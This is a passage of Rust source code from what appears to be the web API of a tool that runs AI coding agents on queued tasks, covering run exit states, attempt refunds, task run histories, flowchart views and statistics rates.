5340
5341/// How one pass over a run ended, as far as the task's life is concerned.
5342#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5343#[serde(rename_all = "snake_case")]
5344enum RunExit {
5345    Unreadable,
5346    /// An earlier pass of a run id that appears again: it stopped short.
5347    Interrupted,
5348    Parked,
5349    QuotaStall,
5350    /// Stalled on a resumed pass with quota losses on record: they may be
5351    /// left over from an earlier pass, so whether this one was refunded is
5352    /// not knowable.
5353    ResumedQuotaStall,
5354    Merged,
5355    Ready,
5356    Superseded,
5357    /// The change was already on the base under other commits: the task
5358    /// finished without this run landing anything.
5359    AlreadyInBase,
5360    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5361    Stalled,
5362    /// Blocked / no-op with a pull request left open: held for a person.
5363    HeldWithPr,
5364    NoopHeld,
5365    /// Blocked or failed: the attempt is spent and the task retries or holds.
5366    Spent,
5367    InProgress,
5368}
5369
5370#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5371#[serde(rename_all = "snake_case")]
5372enum AttemptCost {
5373    Spent,
5374    Refunded,
5375    None,
5376    /// Cannot be told from the records that remain.
5377    Unknown,
5378}
5379
5380impl RunExit {
5381    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5382        let Some(s) = s else {
5383            return Self::Unreadable;
5384        };
5385        let status = s.status;
5386        if resumed_later {
5387            Self::Interrupted
5388        } else if s.parked {
5389            Self::Parked
5390        } else if !status.done() {
5391            Self::InProgress
5392        } else if matches!(status, RunStatus::Merged) {
5393            Self::Merged
5394        } else if matches!(status, RunStatus::Ready) {
5395            Self::Ready
5396        } else if matches!(status, RunStatus::Superseded) {
5397            Self::Superseded
5398        } else if matches!(status, RunStatus::AlreadyInBase) {
5399            Self::AlreadyInBase
5400        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5401            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5402        {
5403            if resumed {
5404                Self::ResumedQuotaStall
5405            } else {
5406                Self::QuotaStall
5407            }
5408        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5409            Self::HeldWithPr
5410        } else if matches!(status, RunStatus::VerifiedNoop) {
5411            Self::NoopHeld
5412        } else if matches!(status, RunStatus::Stalled) {
5413            Self::Stalled
5414        } else {
5415            Self::Spent
5416        }
5417    }
5418
5419    fn cost(self) -> AttemptCost {
5420        match self {
5421            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5422            Self::Merged
5423            | Self::Ready
5424            | Self::Stalled
5425            | Self::HeldWithPr
5426            | Self::NoopHeld
5427            | Self::Spent => AttemptCost::Spent,
5428            Self::InProgress => AttemptCost::None,
5429            Self::AlreadyInBase => AttemptCost::Refunded,
5430            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5431                AttemptCost::Unknown
5432            }
5433        }
5434    }
5435
5436    /// Short edge wording for leaving a run this way.
5437    fn edge_label(self, status: Option<&str>) -> String {
5438        match self {
5439            Self::Unreadable => "record unreadable".to_owned(),
5440            Self::Interrupted => "interrupted before the run finished".to_owned(),
5441            Self::Parked => "parked, attempt refunded".to_owned(),
5442            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5443            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5444            Self::Merged => "merged".to_owned(),
5445            Self::Ready => "ready, not merged".to_owned(),
5446            Self::Superseded => "superseded by a later attempt".to_owned(),
5447            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5448            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5449            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5450            Self::NoopHeld => "verified no-op".to_owned(),
5451            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5452            Self::InProgress => "in progress".to_owned(),
5453        }
5454    }
5455
5456    /// Does a task in `end` follow from a run that ended this way? When not,
5457    /// somebody closed or held the task by hand.
5458    fn explains(self, end: TaskStatus) -> bool {
5459        match self {
5460            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5461            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5462            Self::Unreadable | Self::Superseded | Self::Ready => true,
5463            _ => end != TaskStatus::Done,
5464        }
5465    }
5466}
5467
5468/// `GET /api/queue/{id}` - one task with every attempt it went through.
5469#[derive(Debug, Serialize)]
5470struct TaskDetailView {
5471    #[serde(flatten)]
5472    task: TaskView,
5473    /// Task override, or the default daemon budget when inherited.
5474    /// A separate loop's command-line limit is not visible from here.
5475    max_attempts: usize,
5476    history: Vec<TaskRunView>,
5477    /// Entries in `history`: passes over runs, not distinct runs and not
5478    /// attempts consumed (`task.attempts`).
5479    passes_total: usize,
5480    /// Distinct runs those passes belong to.
5481    runs_distinct: usize,
5482    flow: FlowView,
5483    /// Set for a follow-up task; see [`followup_origin`].
5484    followup_origin: Option<FollowUpOrigin>,
5485    /// How many entries of `history` could not be read.
5486    runs_unreadable: usize,
5487    /// Why the attempt count can be lower than the number of runs.
5488    attempts_note: &'static str,
5489}
5490
5491const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5492and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5493on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5494the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5495
5496/// The branch a review-only run reopened, read off the instruction
5497/// `Runner::open_review` writes.
5498fn review_branch_of(instruction: &str) -> Option<&str> {
5499    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5500    rest.split('`').next().filter(|b| !b.is_empty())
5501}
5502
5503/// Where an entry sits in a task's run list.
5504#[derive(Default)]
5505struct RunSlot<'a> {
5506    /// 1-based position.
5507    n: usize,
5508    /// The same run id appeared earlier: this pass resumed it.
5509    resumed: bool,
5510    /// Position of a later pass over the same run id, if any.
5511    resumed_later: Option<usize>,
5512    /// The previous distinct run and how it ended, for the retry note.
5513    prior: Option<(&'a str, RunStatus)>,
5514    last: bool,
5515    /// This pass as the run recorded it, when it did.
5516    pass: Option<&'a crate::run::RunPass>,
5517    /// What the task recorded when it settled this pass.
5518    settled: Option<&'a crate::queue::TaskPass>,
5519    /// 1-based position among the task's entries for this run, and their count.
5520    pass_n: usize,
5521    passes_of_run: usize,
5522}
5523
5524/// Describe one entry of a task's run list. Pure: everything it needs is on
5525/// the run and the task, so it is asserted without a server.
5526fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5527    let RunSlot {
5528        n,
5529        resumed,
5530        resumed_later,
5531        prior,
5532        last,
5533        pass,
5534        settled,
5535        pass_n,
5536        passes_of_run,
5537    } = at;
5538    let short = run::short_of(id).to_owned();
5539    let Some(s) = state else {
5540        return TaskRunView {
5541            n,
5542            id: id.to_owned(),
5543            short,
5544            kind: "unknown",
5545            status: None,
5546            readable: false,
5547            provisional: false,
5548            description:
5549                "This run's record could not be read by this build (written by a different \
5550                          magi, or removed), so what kind of attempt it was is unknown."
5551                    .to_owned(),
5552            outcome: String::new(),
5553            created_at: None,
5554            pr: None,
5555            exit: RunExit::Unreadable,
5556            attempt: AttemptCost::Unknown,
5557            exit_label: RunExit::Unreadable.edge_label(None),
5558            later_pass: resumed_later,
5559            pass_n,
5560            passes_of_run,
5561            pass: None,
5562            branch: None,
5563            badge: None,
5564        };
5565    };
5566    let branch = review_branch_of(&s.instruction);
5567    let kind = if resumed {
5568        "resume"
5569    } else if branch.is_some() {
5570        "review"
5571    } else if task.solo || s.candidates.len() == 1 {
5572        "solo"
5573    } else {
5574        "competition"
5575    };
5576    let mut description = match kind {
5577        "resume" => {
5578            format!("Resumed run {short}: the same run carried on instead of competing again.")
5579        }
5580        "review" => format!(
5581            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5582            branch.unwrap_or_default()
5583        ),
5584        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5585        _ => format!(
5586            "Competition: {} candidates judged blind.",
5587            s.candidates.len().max(1)
5588        ),
5589    };
5590    if !resumed && let Some((p, st)) = prior {
5591        description.push_str(&format!(
5592            " A retry: run {p} before it ended {}.",
5593            st.display_label()
5594        ));
5595    }
5596
5597    let status = s.status;
5598    let provisional = matches!(status, RunStatus::Stalled)
5599        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5600    let head = if resumed_later.is_some() {
5601        String::new()
5602    } else {
5603        match status {
5604            RunStatus::Merged => "Merged.".to_owned(),
5605            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5606            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5607            RunStatus::AlreadyInBase => {
5608                "Already in the base: this change landed under other commits, nothing was left to land."
5609                    .to_owned()
5610            }
5611            RunStatus::Stalled => {
5612                "Stalled: the judging panel never reached a quorum, so there is no verdict."
5613                    .to_owned()
5614            }
5615            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5616            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5617            RunStatus::VerifiedNoop => {
5618                "Verified no-op: the candidates found nothing to change.".to_owned()
5619            }
5620            other if other.done() => format!("Ended {}.", other.display_label()),
5621            other => format!("In progress ({}).", other.display_label()),
5622        }
5623    };
5624    let view = pass.map(|p| PassView::of(p, settled));
5625    let recorded_end = view
5626        .as_ref()
5627        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5628    let cost_words = match view.as_ref().and_then(|v| v.cost) {
5629        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5630        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5631        None => "whether its attempt was handed back was not recorded",
5632    };
5633    let pass_note = if passes_of_run > 1 {
5634        format!(
5635            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5636        )
5637    } else {
5638        String::new()
5639    };
5640    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5641        // The run recorded this pass's end when it happened.
5642        let cause = match v.end {
5643            "parked" => format!("It was stopped on purpose: {}.", v.label),
5644            _ => format!("It {}.", v.label),
5645        };
5646        format!(
5647            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5648            capitalise(cost_words)
5649        )
5650    } else if let Some(k) = resumed_later {
5651        // A run is only picked up again while it is unfinished, so an earlier
5652        // pass of a repeated id stopped short; the record keeps only the run's
5653        // latest status, which is left to the pass that carried it on.
5654        // Only the latest state is recorded: `parked` is cleared on resume
5655        // and `quota` accumulates across passes, so neither says why *this*
5656        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5657        let cause = if s.quota.is_empty() {
5658            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5659        } else {
5660            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5661        };
5662        format!(
5663            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5664        )
5665    } else if s.parked {
5666        match recorded_end.and_then(|v| v.cause.as_ref()) {
5667            Some(cause) => format!(
5668                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5669                cause.label(),
5670                cost_words
5671            ),
5672            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5673                .to_owned(),
5674        }
5675    } else if !status.done()
5676        || matches!(
5677            status,
5678            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5679        )
5680    {
5681        String::new()
5682    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5683        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5684    {
5685        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5686            .to_owned()
5687    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5688        " It left a pull request open, so the task was held for a person rather than retried."
5689            .to_owned()
5690    } else if matches!(status, RunStatus::VerifiedNoop) {
5691        " Held for a person to check the claim.".to_owned()
5692    } else if last {
5693        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5694    } else {
5695        " It spent an attempt, and the task moved on to the next run.".to_owned()
5696    };
5697    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5698    let mut attempt = exit.cost();
5699    let mut exit_label = None;
5700    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5701        let spent = match v.cost {
5702            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5703            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5704            None if resumed_later.is_some() => ", refund not recorded",
5705            None => ", attempt refunded",
5706        };
5707        attempt = match v.cost {
5708            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5709            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5710            None if resumed_later.is_some() => AttemptCost::Unknown,
5711            None => attempt,
5712        };
5713        if v.end == "parked" {
5714            exit = RunExit::Parked;
5715            exit_label = Some(match v.cause.as_ref() {
5716                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5717                    format!("parked for {}{spent}", c.label())
5718                }
5719                Some(c) => format!("parked ({}){spent}", c.label()),
5720                None => format!("parked{spent}"),
5721            });
5722        } else {
5723            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5724        }
5725    }
5726    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5727    TaskRunView {
5728        n,
5729        id: id.to_owned(),
5730        short,
5731        kind,
5732        status: Some(status.as_str()),
5733        readable: true,
5734        provisional,
5735        description,
5736        outcome: format!("{head}{why}"),
5737        created_at: Some(s.created_at),
5738        pr: s.pr.as_ref().map(|p| p.url.clone()),
5739        exit,
5740        attempt,
5741        exit_label,
5742        later_pass: resumed_later,
5743        pass_n,
5744        passes_of_run,
5745        pass: view,
5746        branch: branch.map(str::to_owned),
5747        badge: None,
5748    }
5749}
5750
5751fn capitalise(s: &str) -> String {
5752    let mut c = s.chars();
5753    c.next().map_or_else(String::new, |f| {
5754        f.to_uppercase().collect::<String>() + c.as_str()
5755    })
5756}
5757
5758/// One box of the task's flowchart.
5759#[derive(Debug, Serialize, PartialEq)]
5760struct FlowNode {
5761    /// Unique by position: a resumed run id appears once per pass.
5762    key: String,
5763    /// `chat`, `followup`, `start`, `run` or `end`.
5764    kind: &'static str,
5765    label: String,
5766    /// Run status (or the task's, for `end`); `None` when it is not a fact
5767    /// about this box (unreadable, or a pass the run later resumed from).
5768    status: Option<&'static str>,
5769    /// Whose status `status` is, so the client picks the right colour table:
5770    /// `task` (the `followup` parent and `end`) or `run`.
5771    status_of: &'static str,
5772    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5773    note: Option<&'static str>,
5774    run_kind: Option<&'static str>,
5775    detail: Option<String>,
5776    /// A readable run with a real verdict; a stall never is.
5777    decided: bool,
5778    readable: bool,
5779    href: Option<String>,
5780    /// Overrides `status` as the badge word (`stale` / `superseded`).
5781    badge: Option<String>,
5782    /// Start of this entry, never the run's latest update or pass settlement.
5783    started_at: Option<Timestamp>,
5784    /// Context links (chat / follow-up) do not represent execution entries.
5785    time_expected: bool,
5786}
5787
5788#[derive(Debug, Serialize, PartialEq)]
5789struct FlowEdge {
5790    from: String,
5791    to: String,
5792    label: String,
5793    attempt: AttemptCost,
5794}
5795
5796#[derive(Debug, Serialize, PartialEq)]
5797struct FlowView {
5798    nodes: Vec<FlowNode>,
5799    edges: Vec<FlowEdge>,
5800    /// Attempts the task has counted since it was last released.
5801    attempts: usize,
5802    max_attempts: usize,
5803    /// Entries in the run list (passes), and how many distinct runs they are.
5804    /// Neither is the number of attempts consumed.
5805    passes: usize,
5806    runs: usize,
5807}
5808
5809/// Turn a task and its described runs into the flowchart's boxes and arrows.
5810/// Pure: the page only draws what this returns.
5811///
5812/// A follow-up opens with its parent (or the merged run) unless the task's
5813/// *source* is itself a chat, in which case the chat stays first and the
5814/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5815/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5816/// two normally do not coincide and the nearer origin wins.
5817fn task_flow(
5818    task: &Task,
5819    history: &[TaskRunView],
5820    max_attempts: usize,
5821    origin: Option<&FollowUpOrigin>,
5822) -> FlowView {
5823    let max_attempts = task.effective_attempt_limit(max_attempts);
5824    let node = |key: &str, kind, label: String| FlowNode {
5825        key: key.to_owned(),
5826        kind,
5827        label,
5828        status: None,
5829        status_of: "run",
5830        note: None,
5831        run_kind: None,
5832        detail: None,
5833        decided: false,
5834        readable: true,
5835        href: None,
5836        badge: None,
5837        started_at: None,
5838        time_expected: matches!(kind, "start" | "run" | "end"),
5839    };
5840    let mut nodes = Vec::new();
5841    let mut edges: Vec<FlowEdge> = Vec::new();
5842    // A task queued from a chat opens the flow with that conversation.
5843    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5844        let mut n = node(
5845            "chat",
5846            "chat",
5847            format!("Chat {}", crate::queue::short(&link.id)),
5848        );
5849        n.href = Some(link.href);
5850        nodes.push(n);
5851        edges.push(FlowEdge {
5852            from: "chat".to_owned(),
5853            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5854            label: "queued from chat".to_owned(),
5855            attempt: AttemptCost::None,
5856        });
5857    }
5858    if let Some(o) = origin {
5859        let mut n = match &o.parent {
5860            Some(p) => {
5861                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5862                n.status = Some(p.status);
5863                n.status_of = "task";
5864                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5865                n.href = Some(p.href.clone());
5866                n
5867            }
5868            None => {
5869                let mut n = node(
5870                    "origin",
5871                    "followup",
5872                    format!("Follow-up of run {}", o.run.short),
5873                );
5874                n.detail = Some("merged run".to_owned());
5875                n.status = o.run.status;
5876                n.href = o.run.href.clone();
5877                if o.run.href.is_none() {
5878                    n.readable = false;
5879                    n.note = Some("unreadable");
5880                }
5881                n
5882            }
5883        };
5884        n.decided = true;
5885        let from = n.key.clone();
5886        nodes.push(n);
5887        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5888        let more = o.findings.len().saturating_sub(shown.len());
5889        let label = match (shown.is_empty(), more) {
5890            (true, _) => "open findings".to_owned(),
5891            (false, 0) => format!("open findings {}", shown.join(", ")),
5892            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5893        };
5894        edges.push(FlowEdge {
5895            from,
5896            to: "start".to_owned(),
5897            label,
5898            attempt: AttemptCost::None,
5899        });
5900    }
5901    let mut start = node("start", "start", "Task queued".to_owned());
5902    start.started_at = Some(task.created_at);
5903    nodes.push(start);
5904    let mut prev = "start".to_owned();
5905    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5906    for (i, h) in history.iter().enumerate() {
5907        let key = format!("run-{}", h.n);
5908        let mut n = node(&key, "run", format!("Run {}", h.short));
5909        // Creation marks only the first pass of legacy runs. A resumed pass
5910        // without a record must not inherit the original run's start time.
5911        n.started_at = h
5912            .readable
5913            .then(|| {
5914                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5915                    h.created_at
5916                } else {
5917                    None
5918                })
5919            })
5920            .flatten();
5921        n.run_kind = Some(h.kind);
5922        n.readable = h.readable;
5923        n.href = Some(format!("#/runs/{}", h.id));
5924        n.decided = h.readable && !h.provisional;
5925        n.detail = h
5926            .branch
5927            .as_ref()
5928            .map(|b| format!("review-only run of branch {b}"));
5929        match h.exit {
5930            RunExit::Unreadable => n.note = Some("unreadable"),
5931            RunExit::Interrupted => n.note = Some("interrupted"),
5932            // An earlier pass the run recorded as parked: the status shown
5933            // would be the run's current one, not this pass's.
5934            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5935            _ => {
5936                n.status = h.status;
5937                n.badge = h.badge.clone();
5938                if h.provisional {
5939                    n.note = Some("no verdict");
5940                }
5941            }
5942        }
5943        let into = match h.kind {
5944            "review" => Some(format!(
5945                "review-only run of branch {}",
5946                h.branch.as_deref().unwrap_or("?")
5947            )),
5948            "resume" => Some("resume the same run".to_owned()),
5949            _ if i > 0 => Some("retry".to_owned()),
5950            _ => None,
5951        };
5952        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5953        let label = match (prev_exit, into) {
5954            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5955            (Some((_, l, _)), None) => l,
5956            (None, Some(i)) => i,
5957            (None, None) => "claimed".to_owned(),
5958        };
5959        edges.push(FlowEdge {
5960            from: prev.clone(),
5961            to: key.clone(),
5962            label,
5963            attempt,
5964        });
5965        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5966        prev = key;
5967        nodes.push(n);
5968    }
5969    let mut end = node("end", "end", task.status.as_str().to_owned());
5970    end.status = Some(task.status.as_str());
5971    end.status_of = "task";
5972    // Other task states do not persist their transition start. In particular,
5973    // blocked_at can change while the task remains blocked.
5974    if task.status == TaskStatus::Held {
5975        end.started_at = task.held_at;
5976    }
5977    nodes.push(end);
5978    let (label, attempt) = match prev_exit {
5979        None => (
5980            format!("no run yet \u{2192} {}", task.status.as_str()),
5981            AttemptCost::None,
5982        ),
5983        Some((e, l, cost)) if e.explains(task.status) => {
5984            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5985        }
5986        Some((_, _, cost)) => (
5987            format!("closed by hand: task is {}", task.status.as_str()),
5988            cost,
5989        ),
5990    };
5991    edges.push(FlowEdge {
5992        from: prev,
5993        to: "end".to_owned(),
5994        label,
5995        attempt,
5996    });
5997    FlowView {
5998        nodes,
5999        edges,
6000        attempts: task.attempts,
6001        max_attempts,
6002        passes: history.len(),
6003        runs: distinct_runs(&task.runs),
6004    }
6005}
6006
6007/// How many different run ids a task's run list names.
6008fn distinct_runs(runs: &[String]) -> usize {
6009    let mut seen: Vec<&str> = Vec::new();
6010    for r in runs {
6011        if !seen.contains(&r.as_str()) {
6012            seen.push(r);
6013        }
6014    }
6015    seen.len()
6016}
6017
6018/// Describe recorded task passes, retaining unrecorded legacy list entries.
6019fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6020    let mut slots = Vec::new();
6021    let mut seen = Vec::new();
6022    for run_id in &task.runs {
6023        if seen.contains(&run_id) {
6024            continue;
6025        }
6026        seen.push(run_id);
6027        let state = read(run_id);
6028        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6029            s.passes
6030                .iter()
6031                .filter(|p| {
6032                    p.task_entry
6033                        || task
6034                            .passes
6035                            .iter()
6036                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6037                })
6038                .cloned()
6039                .collect()
6040        });
6041        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6042        let total = legacy_count.max(mine.len());
6043        let offset = total - mine.len();
6044        for k in 0..total {
6045            // Legacy repeated entries retain their original positions. When
6046            // ids are unique, recorded pass times recover the resume order.
6047            let position = task
6048                .runs
6049                .iter()
6050                .enumerate()
6051                .filter(|(_, r)| *r == run_id)
6052                .nth(k.min(legacy_count - 1))
6053                .unwrap()
6054                .0;
6055            slots.push((
6056                run_id,
6057                state.clone(),
6058                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6059                position,
6060            ));
6061        }
6062    }
6063    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6064        slots.sort_by_key(|(_, state, pass, _)| {
6065            pass.as_ref()
6066                .map(|p| p.started_at)
6067                .or_else(|| state.as_ref().map(|s| s.created_at))
6068                .map_or((true, task.created_at), |at| (false, at))
6069        });
6070    } else {
6071        slots.sort_by_key(|(_, _, _, position)| *position);
6072    }
6073    let mut history = Vec::with_capacity(slots.len());
6074    let mut seen: Vec<&str> = Vec::new();
6075    let mut prior: Option<(&str, RunStatus)> = None;
6076    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6077        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6078        let resumed = k > 0;
6079        seen.push(run_id);
6080        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6081        let pass = pass.as_ref();
6082        let settled = pass.and_then(|p| {
6083            task.passes
6084                .iter()
6085                .find(|t| t.run == **run_id && t.pass_index == p.index)
6086        });
6087        history.push(task_run_view(
6088            run_id,
6089            state.as_ref(),
6090            RunSlot {
6091                n: i + 1,
6092                resumed,
6093                resumed_later: slots[i + 1..]
6094                    .iter()
6095                    .position(|(id, _, _, _)| id == run_id)
6096                    .map(|off| i + off + 2),
6097                prior,
6098                last: i + 1 == slots.len(),
6099                pass,
6100                settled,
6101                pass_n: k + 1,
6102                passes_of_run: total,
6103            },
6104            task,
6105        ));
6106        if let Some(s) = &state {
6107            prior = Some((run::short_of(run_id), s.status));
6108        }
6109    }
6110    history
6111}
6112
6113/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6114/// An earlier pass of a resumed run keeps no badge (it has no status box).
6115fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6116    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6117        return;
6118    }
6119    let (_, claimed, _) = run_row_inputs(ui);
6120    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6121    for h in history
6122        .iter_mut()
6123        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6124    {
6125        let Ok(state) = read_run(&ui.runs, &h.id) else {
6126            continue;
6127        };
6128        if state.status.done() {
6129            continue;
6130        }
6131        let live = state.liveness_with(
6132            claimed.contains(&h.id),
6133            |p| probe.borrow_mut().status(p),
6134            |p| probe.borrow_mut().started_at(p),
6135        );
6136        let waiting = !ui.questions.open_for(&h.id).is_empty();
6137        let display = run_display_status(&state, waiting, live);
6138        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6139        if matches!(word.as_str(), "stale" | "superseded")
6140            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6141        {
6142            h.badge = Some(word);
6143        }
6144    }
6145}
6146
6147async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6148    blocking(move || {
6149        let id = resolve_task(&ui.queue, &id)?;
6150        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6151    })
6152    .await
6153}
6154
6155async fn task_detail(
6156    State(ui): State<Arc<Ui>>,
6157    Path(id): Path<String>,
6158) -> ApiResult<Json<TaskDetailView>> {
6159    blocking(move || {
6160        let id = resolve_task(&ui.queue, &id)?;
6161        let task = ui
6162            .queue
6163            .get(&id)
6164            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6165        let inv = if task.status == TaskStatus::Blocked {
6166            Some(crate::blockers::Inventory::load_for(
6167                &ui.queue,
6168                &ui.questions,
6169                &task,
6170            ))
6171        } else {
6172            None
6173        };
6174        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6175        mark_badges(&ui, &task, &mut history);
6176        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6177        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6178        let origin = task.followup.as_ref().map(|fu| {
6179            followup_origin(
6180                fu,
6181                |tid| ui.queue.get(tid).ok(),
6182                |rid| read_run(&ui.runs, rid).ok(),
6183            )
6184        });
6185        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6186        let task_view = match inv.as_ref() {
6187            Some(inv) => TaskView::with_inventory(task, inv),
6188            None => TaskView::from(task),
6189        };
6190        Ok(Json(TaskDetailView {
6191            max_attempts,
6192            flow,
6193            followup_origin: origin,
6194            passes_total: history.len(),
6195            runs_distinct: distinct_runs(&task_view.task.runs),
6196            history,
6197            runs_unreadable,
6198            attempts_note: ATTEMPTS_NOTE,
6199            task: task_view,
6200        }))
6201    })
6202    .await
6203}
6204
6205/// A rate together with its denominator, so the client can tell "computed as
6206/// 0%" apart from "no data to compute it from" — both would otherwise
6207/// serialize as `0.0`. `None` means the denominator was zero.
6208#[derive(Debug, Serialize)]
6209struct RateView {
6210    pct: f64,
6211    denominator: usize,
6212}
6213
6214impl RateView {
6215    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6216        (denominator > 0).then(|| Self {
6217            pct: 100.0 * numerator as f64 / denominator as f64,
6218            denominator,
6219        })
6220    }
6221}
6222
6223/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6224/// rates, each paired with its own denominator via [`RateView`] rather than
6225/// exposing `Stats`' own percentage methods directly — see this module's
6226/// doc for why `Stats` itself is never serialized.
6227#[derive(Debug, Serialize)]
6228struct StatsTotalsView {
6229    runs: usize,
6230    merged: usize,
6231    ready: usize,
6232    blocked: usize,
6233    failed: usize,
6234    stalled: usize,
6235    verified_noop: usize,
6236    superseded: usize,
6237    in_progress: usize,
6238    completion_rate: Option<RateView>,
6239    tallied: usize,
6240    split: usize,
6241    split_rate: Option<RateView>,
6242    deliberated: usize,
6243    minds_changed: usize,
6244    converged: usize,
6245    review_rounds: usize,
6246}
6247
6248impl From<&stats::Totals> for StatsTotalsView {
6249    fn from(t: &stats::Totals) -> Self {
6250        Self {
6251            runs: t.runs,
6252            merged: t.merged,
6253            ready: t.ready,
6254            blocked: t.blocked,
6255            failed: t.failed,
6256            stalled: t.stalled,
6257            verified_noop: t.verified_noop,
6258            superseded: t.superseded,
6259            in_progress: t.in_progress,
6260            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6261            tallied: t.tallied,
6262            split: t.split,
6263            split_rate: RateView::of(t.split, t.tallied),
6264            deliberated: t.deliberated,
6265            minds_changed: t.minds_changed,
6266            converged: t.converged,
6267            review_rounds: t.review_rounds,
6268        }
6269    }
6270}
6271
6272/// [`crate::stats::AgentStats`] for the wire.
